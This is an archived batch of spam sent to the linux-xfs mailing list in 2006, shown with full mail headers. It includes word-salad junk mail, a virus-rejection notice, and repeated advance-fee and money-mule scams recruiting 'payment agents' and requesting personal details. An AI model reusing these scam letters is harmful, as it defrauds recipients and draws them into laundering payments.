X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from [88.11.127.166] (166.Red-88-11-127.dynamicIP.rima-tde.net [88.11.127.166]) by cuda.sgi.com (Spam Firewall) with ESMTP id ED8104DF460 for ; Sat, 28 Oct 2006 06:59:03 -0700 (PDT) Message-ID: <000a01c6fa99$34cc6ab0$a67f0b58@fernandokwlzm2> From: "Jung joins" To: linux-xfs@oss.sgi.com X-ASG-Orig-Subj: March EVGA eGeForce KO Subject: March EVGA eGeForce KO Date: Sat, 28 Oct 2006 15:58:54 +0200 MIME-Version: 1.0 Content-Type: text/plain; format=flowed; charset="iso-8859-1"; reply-type=original Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2900.2869 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2962 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.24358 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9475 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: tpybxsyfik@pera.com Precedence: bulk X-list: xfs Status: O another apply. Distancing XEmotional XLanguage XManual Dexterity XMusical XNumeracy XSocial XTime GDDR GHPCUVG PSDE Pentium Prescott ABIT Eyetoy VE MyVIVO ANXE DFI LANPARTY stabbed Fashion dress minis. Snake TikiBarTVs sheds skin. Bigoo.ws gkKO.com FLURL.com Yikers.com uGoto.com Sitemap DMCA Ethnic Latin Chinese African Catholic Christian LDS Jewish Atlanta Austin Boston Dallas Denver Houston Portland From owner-xfs@oss.sgi.com Sat Oct 28 11:24:21 2006 Received: with ECARTIS (v1.0.0; list xfs); Sat, 28 Oct 2006 11:24:32 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9SIOKaG025500 for ; Sat, 28 Oct 2006 11:24:21 -0700 X-ASG-Debug-ID: 1162055472-22176-570-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from snecma2.snecma.fr (snecma2.snecma.fr [195.220.252.67]) by cuda.sgi.com (Spam Firewall) with ESMTP id E2B97D1AD078 for ; Sat, 28 Oct 2006 10:11:12 -0700 (PDT) Received: by snecma2.snecma.fr; id TAA16772; Sat, 28 Oct 2006 19:11:10 +0200 (MET DST) From: Received: from unknown(195.220.252.71) by snecma2 via smap (5.0) id xma016680; Sat, 28 Oct 2006 19:10:52 +0200 Received: from localhost (unknown [127.0.0.1]) by H465130J.snecma.fr (Symantec Mail Security) with ESMTP id 21CE7E73 for ; Sat, 28 Oct 2006 19:10:52 +0200 (CEST) MIME-Version: 1.0 Content-Type: text/plain; charset="ISO-8859-1" X-ASG-Orig-Subj: =?ISO-8859-1?B?TWVzc2FnZSByZWZ1c+k6IFZpcnVzIC8gTWFpbCByZWplY3RlZDogVmk=?= =?ISO-8859-1?B?cnVz?= Subject: =?ISO-8859-1?B?TWVzc2FnZSByZWZ1c+k6IFZpcnVzIC8gTWFpbCByZWplY3RlZDogVmk=?= =?ISO-8859-1?B?cnVz?= To: linux-xfs@oss.sgi.com Message-Id: <20061028171052.21CE7E73@H465130J.snecma.fr> Date: Sat, 28 Oct 2006 19:10:52 +0200 (CEST) X-Barracuda-Spam-Score: 2.09 X-Barracuda-Spam-Status: No, SCORE=2.09 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=NO_REAL_NAME, SUBJECT_ENCODED_TWICE X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.24372 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.55 NO_REAL_NAME From: does not include a real name 1.54 SUBJECT_ENCODED_TWICE Subject: MIME encoded twice Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id k9SIOLaG025516 X-archive-position: 9476 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: postmaster14_Snecma@snecma.snecma.fr Precedence: bulk X-list: xfs Status: O Le message a été détruit car il a été identifié comme porteur d'un virus. Notez que certains virus sont capables d'usurper votre adresse de messagerie et que vous êtes susceptibles de recevoir des notifications de ce type à tort. A virus has been found in the email. Please note that your email address can be spoofed by some viruses and you may receive this as an unexpected notice. From owner-xfs@oss.sgi.com Sat Oct 28 17:09:32 2006 Received: with ECARTIS (v1.0.0; list xfs); Sat, 28 Oct 2006 17:09:42 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9T09VaG004335 for ; Sat, 28 Oct 2006 17:09:32 -0700 X-ASG-Debug-ID: 1162080523-19522-637-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from C2bthomr06.btconnect.com (c2bthomr06.btconnect.com [194.73.73.221]) by cuda.sgi.com (Spam Firewall) with ESMTP id A3189D1AD05F for ; Sat, 28 Oct 2006 17:08:43 -0700 (PDT) Received: from [192.168.254.1] (host86-141-152-174.range86-141.btcentralplus.com [86.141.152.174]) by C2bthomr06.btconnect.com (MOS 3.7.4b-GA) with SMTP id FEK00114; Sun, 29 Oct 2006 01:03:18 +0100 (BST) MIME-Version: 1.0 Message-Id: Date: Sun, 29 Oct 2006 01:08:40 +0100 To: From: ItaliaUK X-ASG-Orig-Subj: Business to Business News Subject: Business to Business News X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.24400 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Content-Type: text/plain Content-Disposition: inline Content-Transfer-Encoding: 7bit Content-length: 629 X-archive-position: 9477 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: italiauk@btconnect.com Precedence: bulk X-list: xfs Status: O Business to Business News Alerts If you are unable to view this email then please set your email software to read Enriched HTML emails. If you are unable to do this then please enter the following URL into your web browser, either by pasting it in directly or by entering it manually: http://www.italiauk.net/email_alerts/newsalert271006.htm Should you wish to contact Italia UK Ltd, then please call us on 0161 976 1212 or visit our website direct at http://www.italiauk.net If you have received this Business to Business email in error please accept our apologies. The Italia UK Team. [[HTML alternate version deleted]] From owner-xfs@oss.sgi.com Sat Oct 28 19:08:59 2006 Received: with ECARTIS (v1.0.0; list xfs); Sat, 28 Oct 2006 19:09:08 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9T28waG028334 for ; Sat, 28 Oct 2006 19:08:59 -0700 X-ASG-Debug-ID: 1162084397-17400-437-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from plesk07.hospedagemdesites.ws (plesk07.hospedagemdesites.ws [200.234.220.18]) by cuda.sgi.com (Spam Firewall) with ESMTP id 9EBB54D8942 for ; Sat, 28 Oct 2006 18:13:17 -0700 (PDT) Received: (qmail 28360 invoked by uid 48); 28 Oct 2006 22:04:58 -0300 Date: 28 Oct 2006 22:04:58 -0300 Message-ID: <20061029010458.28358.qmail@plesk07.hospedagemdesites.ws> To: linux-xfs@oss.sgi.com X-ASG-Orig-Subj: BE OUR COMPANY REPRESENTATIVE!!! Subject: BE OUR COMPANY REPRESENTATIVE!!! X-PHP-Script: www.supernovaarquitetura.com.br/index.php for 80.88.141.75 From: Kyoritsu Metal Industry Reply-To: jonchin_1908@yahoo.com.hk MIME-Version: 1.0 Content-Type: text/plain Content-Transfer-Encoding: 8bit X-Barracuda-Spam-Score: 1.32 X-Barracuda-Spam-Status: No, SCORE=1.32 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=ADVANCE_FEE_1, DEAR_FRIEND, PLING_PLING X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.24402 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.86 DEAR_FRIEND BODY: Dear Friend? That's not very dear! 0.46 PLING_PLING Subject has lots of exclamation marks 0.00 ADVANCE_FEE_1 Appears to be advance fee fraud (Nigerian 419) X-archive-position: 9481 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: jonchin_1908@yahoo.com.hk Precedence: bulk X-list: xfs Status: O Dear Friend, I am Mr.Jon Chin,managinig director of Kyoritsu Metal Industry.we are a group of business men who privately own enterprises that specializes in the production of stainless steel wires for fine springs, very fine piano wires and hard steel wires also we produce high precision wires for optical components and straightening various alloyed metal wires and we export some into the Canada/America and Europe. We are searching for representatives who can help us establish a medium of getting to our customers in the Canada/America and Europe as well as making payments through you to us.Please if you are interested intransacting business with us, we will be very glad. Please contact us for more information.Subject to your satisfaction you will be given the opportunity to negotiate your mode of which we will pay you for your services as our representative in Canada/America and Europe Please if you are interested forward to us the following details: 1. Your Full Name:............................ 2. Your Contact Address:...................... 3. Your Phone Number:......................... 4: Your Fax Number:........................... 5: Your Occupation:........................... 6: Sex/Age.................................... Thanks In advance, Mr Jon Chin Managing Director, Fukuura 2-8-23 Kanazawa-ku Yokohama, Kanagawa ,JAPAN Central Office and factory Email:jonchin_1908@yahoo.com.hk Best Regards, Mr. Jon Chin From owner-xfs@oss.sgi.com Sat Oct 28 19:07:43 2006 Received: with ECARTIS (v1.0.0; list xfs); Sat, 28 Oct 2006 19:07:51 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9T27faG027664 for ; Sat, 28 Oct 2006 19:07:43 -0700 X-ASG-Debug-ID: 1162083467-4472-283-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from plesk07.hospedagemdesites.ws (plesk07.hospedagemdesites.ws [200.234.220.18]) by cuda.sgi.com (Spam Firewall) with ESMTP id A4F37D1B1C60 for ; Sat, 28 Oct 2006 17:57:47 -0700 (PDT) Received: (qmail 24499 invoked by uid 48); 28 Oct 2006 21:57:41 -0300 Date: 28 Oct 2006 21:57:41 -0300 Message-ID: <20061029005741.24497.qmail@plesk07.hospedagemdesites.ws> To: xfs@oss.sgi.com X-ASG-Orig-Subj: BE OUR COMPANY REPRESENTATIVE!!! Subject: BE OUR COMPANY REPRESENTATIVE!!! X-PHP-Script: www.supernovaarquitetura.com.br/index.php for 80.88.141.75 From: Kyoritsu Metal Industry Reply-To: jonchin_1908@yahoo.com.hk MIME-Version: 1.0 Content-Type: text/plain Content-Transfer-Encoding: 8bit X-Barracuda-Spam-Score: 1.32 X-Barracuda-Spam-Status: No, SCORE=1.32 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=ADVANCE_FEE_1, DEAR_FRIEND, PLING_PLING X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.24404 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.86 DEAR_FRIEND BODY: Dear Friend? That's not very dear! 0.46 PLING_PLING Subject has lots of exclamation marks 0.00 ADVANCE_FEE_1 Appears to be advance fee fraud (Nigerian 419) X-archive-position: 9480 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: jonchin_1908@yahoo.com.hk Precedence: bulk X-list: xfs Status: O Dear Friend, I am Mr.Jon Chin,managinig director of Kyoritsu Metal Industry.we are a group of business men who privately own enterprises that specializes in the production of stainless steel wires for fine springs, very fine piano wires and hard steel wires also we produce high precision wires for optical components and straightening various alloyed metal wires and we export some into the Canada/America and Europe. We are searching for representatives who can help us establish a medium of getting to our customers in the Canada/America and Europe as well as making payments through you to us.Please if you are interested intransacting business with us, we will be very glad. Please contact us for more information.Subject to your satisfaction you will be given the opportunity to negotiate your mode of which we will pay you for your services as our representative in Canada/America and Europe Please if you are interested forward to us the following details: 1. Your Full Name:............................ 2. Your Contact Address:...................... 3. Your Phone Number:......................... 4: Your Fax Number:........................... 5: Your Occupation:........................... 6: Sex/Age.................................... Thanks In advance, Mr Jon Chin Managing Director, Fukuura 2-8-23 Kanazawa-ku Yokohama, Kanagawa ,JAPAN Central Office and factory Email:jonchin_1908@yahoo.com.hk Best Regards, Mr. Jon Chin From owner-xfs@oss.sgi.com Sat Oct 28 19:07:40 2006 Received: with ECARTIS (v1.0.0; list xfs); Sat, 28 Oct 2006 19:07:47 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9T27baG027587 for ; Sat, 28 Oct 2006 19:07:40 -0700 X-ASG-Debug-ID: 1162083904-4471-446-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from plesk07.hospedagemdesites.ws (plesk07.hospedagemdesites.ws [200.234.220.18]) by cuda.sgi.com (Spam Firewall) with ESMTP id 2C2D6D1B1C5D for ; Sat, 28 Oct 2006 18:05:05 -0700 (PDT) Received: (qmail 28363 invoked by uid 48); 28 Oct 2006 22:04:58 -0300 Date: 28 Oct 2006 22:04:58 -0300 Message-ID: <20061029010458.28361.qmail@plesk07.hospedagemdesites.ws> To: xfs@oss.sgi.com X-ASG-Orig-Subj: BE OUR COMPANY REPRESENTATIVE!!! Subject: BE OUR COMPANY REPRESENTATIVE!!! X-PHP-Script: www.supernovaarquitetura.com.br/index.php for 80.88.141.75 From: Kyoritsu Metal Industry Reply-To: jonchin_1908@yahoo.com.hk MIME-Version: 1.0 Content-Type: text/plain Content-Transfer-Encoding: 8bit X-Barracuda-Spam-Score: 1.32 X-Barracuda-Spam-Status: No, SCORE=1.32 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=ADVANCE_FEE_1, DEAR_FRIEND, PLING_PLING X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.24404 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.86 DEAR_FRIEND BODY: Dear Friend? That's not very dear! 0.46 PLING_PLING Subject has lots of exclamation marks 0.00 ADVANCE_FEE_1 Appears to be advance fee fraud (Nigerian 419) X-archive-position: 9478 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: jonchin_1908@yahoo.com.hk Precedence: bulk X-list: xfs Status: O Dear Friend, I am Mr.Jon Chin,managinig director of Kyoritsu Metal Industry.we are a group of business men who privately own enterprises that specializes in the production of stainless steel wires for fine springs, very fine piano wires and hard steel wires also we produce high precision wires for optical components and straightening various alloyed metal wires and we export some into the Canada/America and Europe. We are searching for representatives who can help us establish a medium of getting to our customers in the Canada/America and Europe as well as making payments through you to us.Please if you are interested intransacting business with us, we will be very glad. Please contact us for more information.Subject to your satisfaction you will be given the opportunity to negotiate your mode of which we will pay you for your services as our representative in Canada/America and Europe Please if you are interested forward to us the following details: 1. Your Full Name:............................ 2. Your Contact Address:...................... 3. Your Phone Number:......................... 4: Your Fax Number:........................... 5: Your Occupation:........................... 6: Sex/Age.................................... Thanks In advance, Mr Jon Chin Managing Director, Fukuura 2-8-23 Kanazawa-ku Yokohama, Kanagawa ,JAPAN Central Office and factory Email:jonchin_1908@yahoo.com.hk Best Regards, Mr. Jon Chin From owner-xfs@oss.sgi.com Sat Oct 28 19:07:40 2006 Received: with ECARTIS (v1.0.0; list xfs); Sat, 28 Oct 2006 19:07:47 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9T27daG027607 for ; Sat, 28 Oct 2006 19:07:40 -0700 X-ASG-Debug-ID: 1162083466-4621-205-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from plesk07.hospedagemdesites.ws (plesk07.hospedagemdesites.ws [200.234.220.18]) by cuda.sgi.com (Spam Firewall) with ESMTP id C6A9AD1ACF9C for ; Sat, 28 Oct 2006 17:57:47 -0700 (PDT) Received: (qmail 24496 invoked by uid 48); 28 Oct 2006 21:57:41 -0300 Date: 28 Oct 2006 21:57:41 -0300 Message-ID: <20061029005741.24492.qmail@plesk07.hospedagemdesites.ws> To: linux-xfs@oss.sgi.com X-ASG-Orig-Subj: BE OUR COMPANY REPRESENTATIVE!!! Subject: BE OUR COMPANY REPRESENTATIVE!!! X-PHP-Script: www.supernovaarquitetura.com.br/index.php for 80.88.141.75 From: Kyoritsu Metal Industry Reply-To: jonchin_1908@yahoo.com.hk MIME-Version: 1.0 Content-Type: text/plain Content-Transfer-Encoding: 8bit X-Barracuda-Spam-Score: 1.32 X-Barracuda-Spam-Status: No, SCORE=1.32 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=ADVANCE_FEE_1, DEAR_FRIEND, PLING_PLING X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.24404 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.86 DEAR_FRIEND BODY: Dear Friend? That's not very dear! 0.46 PLING_PLING Subject has lots of exclamation marks 0.00 ADVANCE_FEE_1 Appears to be advance fee fraud (Nigerian 419) X-archive-position: 9479 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: jonchin_1908@yahoo.com.hk Precedence: bulk X-list: xfs Status: O Dear Friend, I am Mr.Jon Chin,managinig director of Kyoritsu Metal Industry.we are a group of business men who privately own enterprises that specializes in the production of stainless steel wires for fine springs, very fine piano wires and hard steel wires also we produce high precision wires for optical components and straightening various alloyed metal wires and we export some into the Canada/America and Europe. We are searching for representatives who can help us establish a medium of getting to our customers in the Canada/America and Europe as well as making payments through you to us.Please if you are interested intransacting business with us, we will be very glad. Please contact us for more information.Subject to your satisfaction you will be given the opportunity to negotiate your mode of which we will pay you for your services as our representative in Canada/America and Europe Please if you are interested forward to us the following details: 1. Your Full Name:............................ 2. Your Contact Address:...................... 3. Your Phone Number:......................... 4: Your Fax Number:........................... 5: Your Occupation:........................... 6: Sex/Age.................................... Thanks In advance, Mr Jon Chin Managing Director, Fukuura 2-8-23 Kanazawa-ku Yokohama, Kanagawa ,JAPAN Central Office and factory Email:jonchin_1908@yahoo.com.hk Best Regards, Mr. Jon Chin From owner-xfs@oss.sgi.com Sat Oct 28 20:12:38 2006 Received: with ECARTIS (v1.0.0; list xfs); Sat, 28 Oct 2006 20:12:46 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9T3CZaG008023 for ; Sat, 28 Oct 2006 20:12:38 -0700 X-ASG-Debug-ID: 1162091508-16217-535-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from plesk07.hospedagemdesites.ws (plesk07.hospedagemdesites.ws [200.234.220.18]) by cuda.sgi.com (Spam Firewall) with ESMTP id 7E6A1D1AD000 for ; Sat, 28 Oct 2006 20:11:49 -0700 (PDT) Received: (qmail 14844 invoked by uid 48); 28 Oct 2006 23:24:57 -0300 Date: 28 Oct 2006 23:24:56 -0300 Message-ID: <20061029022456.14842.qmail@plesk07.hospedagemdesites.ws> To: linux-xfs@oss.sgi.com X-ASG-Orig-Subj: : INQUIRY Subject: : INQUIRY X-PHP-Script: www.supernovaarquitetura.com.br/index.php for 80.88.141.75 From: "Mr.Yung Jun" Reply-To: jun1_yung@yahoo.com.hk MIME-Version: 1.0 Content-Type: text/plain Content-Transfer-Encoding: 8bit X-Barracuda-Spam-Score: 0.86 X-Barracuda-Spam-Status: No, SCORE=0.86 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=ADVANCE_FEE_1, DEAR_FRIEND X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.24412 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.86 DEAR_FRIEND BODY: Dear Friend? That's not very dear! 0.00 ADVANCE_FEE_1 Appears to be advance fee fraud (Nigerian 419) X-archive-position: 9482 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: jun1_yung@yahoo.com.hk Precedence: bulk X-list: xfs Status: O Dear Friend, I am Mr.Yung Jun,we are a group of business men who deal on import andexport raw materials into canada,america and europe. We are searching for representatives who can help us establish a medium of getting to ourcostumers in the canada,america and europe as well as making payments through you to us. Please if you are interested in transacting business with us we willbe very glad. Please contact us for more information.Subject to your satisfaction you will be given the opportunity tonegotiate your mode of which wewill pay for yourservices as our representative in canada,america and europe. Regards. Mr.YUN JUN Manager.CMIEC.CH China Metallurgical Import & Export Corporation Hubei Company.(CHIEC HUBEI CO.) 27h Bao Feng Mansion, 299 Jingjiang Road, Shangai, CHINA. TEL: 8651406202 FAX: 8651404324 From owner-xfs@oss.sgi.com Sat Oct 28 20:55:43 2006 Received: with ECARTIS (v1.0.0; list xfs); Sat, 28 Oct 2006 20:55:50 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9T3tgaG021814 for ; Sat, 28 Oct 2006 20:55:43 -0700 X-ASG-Debug-ID: 1162094094-21784-227-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from plesk07.hospedagemdesites.ws (plesk07.hospedagemdesites.ws [200.234.220.18]) by cuda.sgi.com (Spam Firewall) with ESMTP id 88A7D4E0824 for ; Sat, 28 Oct 2006 20:54:55 -0700 (PDT) Received: (qmail 14857 invoked by uid 48); 28 Oct 2006 23:24:58 -0300 Date: 28 Oct 2006 23:24:58 -0300 Message-ID: <20061029022458.14854.qmail@plesk07.hospedagemdesites.ws> To: xfs@oss.sgi.com X-ASG-Orig-Subj: : INQUIRY Subject: : INQUIRY X-PHP-Script: www.supernovaarquitetura.com.br/index.php for 80.88.141.75 From: "Mr.Yung Jun" Reply-To: jun1_yung@yahoo.com.hk MIME-Version: 1.0 Content-Type: text/plain Content-Transfer-Encoding: 8bit X-Barracuda-Spam-Score: 0.86 X-Barracuda-Spam-Status: No, SCORE=0.86 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=ADVANCE_FEE_1, DEAR_FRIEND X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.24414 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.86 DEAR_FRIEND BODY: Dear Friend? That's not very dear! 0.00 ADVANCE_FEE_1 Appears to be advance fee fraud (Nigerian 419) X-archive-position: 9483 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: jun1_yung@yahoo.com.hk Precedence: bulk X-list: xfs Status: O Dear Friend, I am Mr.Yung Jun,we are a group of business men who deal on import andexport raw materials into canada,america and europe. We are searching for representatives who can help us establish a medium of getting to ourcostumers in the canada,america and europe as well as making payments through you to us. Please if you are interested in transacting business with us we willbe very glad. Please contact us for more information.Subject to your satisfaction you will be given the opportunity tonegotiate your mode of which wewill pay for yourservices as our representative in canada,america and europe. Regards. Mr.YUN JUN Manager.CMIEC.CH China Metallurgical Import & Export Corporation Hubei Company.(CHIEC HUBEI CO.) 27h Bao Feng Mansion, 299 Jingjiang Road, Shangai, CHINA. TEL: 8651406202 FAX: 8651404324 From owner-xfs@oss.sgi.com Sat Oct 28 22:24:20 2006 Received: with ECARTIS (v1.0.0; list xfs); Sat, 28 Oct 2006 22:24:29 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9T5OJaG010032 for ; Sat, 28 Oct 2006 22:24:20 -0700 X-ASG-Debug-ID: 1162095174-433-744-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from webmail01.dodo.com.au (webmail01.dodo.com.au [202.136.34.19]) by cuda.sgi.com (Spam Firewall) with ESMTP id CA93FD1ABF67 for ; Sat, 28 Oct 2006 21:12:54 -0700 (PDT) Received: from webmail01.dodo.com.au ([202.136.34.19] helo=DodoInternetWebmailServer) by webmail01.dodo.com.au with smtp (Exim 4.61) (envelope-from ) id 1Ge21W-0003gV-PE; Sun, 29 Oct 2006 15:11:50 +1100 Received: from client 82.208.39.106 for UebiMiau2.7 (webmail client); Sun, 29 Oct 2006 15:11:50 +1100 Date: Sun, 29 Oct 2006 15:11:50 +1100 From: "EDINBURGH METALLURGICAL COMPANY" Reply-To: "EDINBURGH METALLURGICAL COMPANY" X-ASG-Orig-Subj: PAYMENT AGENT NEEDED Subject: PAYMENT AGENT NEEDED X-Priority: 3 X-Mailer: Dodo Internet Webmail Server X-Original-IP: 82.208.39.106 Content-Transfer-Encoding: 8bit Content-Type: text/plain; charset="iso-8859-1"; MIME-Version: 1.0 Message-Id: X-Barracuda-Spam-Score: 0.32 X-Barracuda-Spam-Status: No, SCORE=0.32 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=MISSING_HEADERS, TO_CC_NONE X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.24416 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.19 MISSING_HEADERS Missing To: header 0.13 TO_CC_NONE No To: or Cc: header To: undisclosed-recipients:; X-archive-position: 9484 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: edinburghmetalcom@dodo.com.au Precedence: bulk X-list: xfs Status: O EDINBURGH METALLURGICAL COMPANY 78-82 Sinclair road, Duddingston, Edinburgh, EH15 3PX SCOTLAND. This mail is serving as an invitation to treat with the above named company.E.M.C was established on April 1, 2003. Our goal is to become an "excellent company" in the 21st century by fulfilling our basic corporate mission of "contributing to society with the world's highest technology." Steel products possess excellent properties and for many centuries have played an important role as a basic material supporting industry and society in a wide range of applications. Because many of the world's countries require siginificant quantities of steel to create a more livable society and achieve continuing growth, a large increase in global steel demand is expected well into the new century. This means that steel products will continue to be necessary to society as a whole.. Due to the increase in demand of our products in America, Canada, Asia, Middle east and Europe we have decided to move our products fully into the above continent. By so doing, we are se arching for reliable persons/companies who can act as a payment agent who can help us establish a medium of getting to our customers in America, Canada, Asia and Middle east. Note that, if finally aprroved as our payment agent, you are entitled to 15% of whatever amount you receive from customers who are making payments for outstanding debt on behalf of the company. Our account officer will convey to you the medium which you will use to remit any funds received on our behalf. If you are interested in being a payment agent in the above location and your locality, please get back to me via my private email(robmcwall5@yahoo.co.uk) with the following informations below: (1)Full names: (2)Complete Residence/office address: (3)Tele/cell numbers: (4)Occupation: (5)Sex: (6)Age: Please also let us know the best time to reach you on phone especially as we have a different time. Thank you for your time. Respectfully Robert Mcdowall Chief Executive Officer & President. ________________________________________________ Dodo - an Official Sponsor of the 2006 FORMULA 1 (tm) Foster's Australian Grand Prix From owner-xfs@oss.sgi.com Sun Oct 29 02:09:11 2006 Received: with ECARTIS (v1.0.0; list xfs); Sun, 29 Oct 2006 02:09:16 -0800 (PST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9TA98aG031318 for ; Sun, 29 Oct 2006 02:09:10 -0800 X-ASG-Debug-ID: 1162108553-7173-298-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from 35C5CBA8 (p6166-ipad205gifu.gifu.ocn.ne.jp [124.96.214.166]) by cuda.sgi.com (Spam Firewall) with SMTP id 5BCC34E0FB0 for ; Sun, 29 Oct 2006 00:55:54 -0700 (PDT) Received: from [darry.144.ok] (bantus-144.beatitude.net [computation.144]) by digestive.amoco.net (8.12.10/8.12.8) with ESMTP id h9FCGvlb859 246 for ; Sun, 29 Oct 2006 05:50:54 -0200 Message-Id: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" From: "GayaPachecowmgd@charter.net" Date: Sun, 29 Oct 2006 06:54:54 -0100 To: xfs@oss.sgi.com X-ASG-Orig-Subj: ambush Subject: ambush X-Mailer: Apple Mail (2.552) X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.24430 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9485 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: 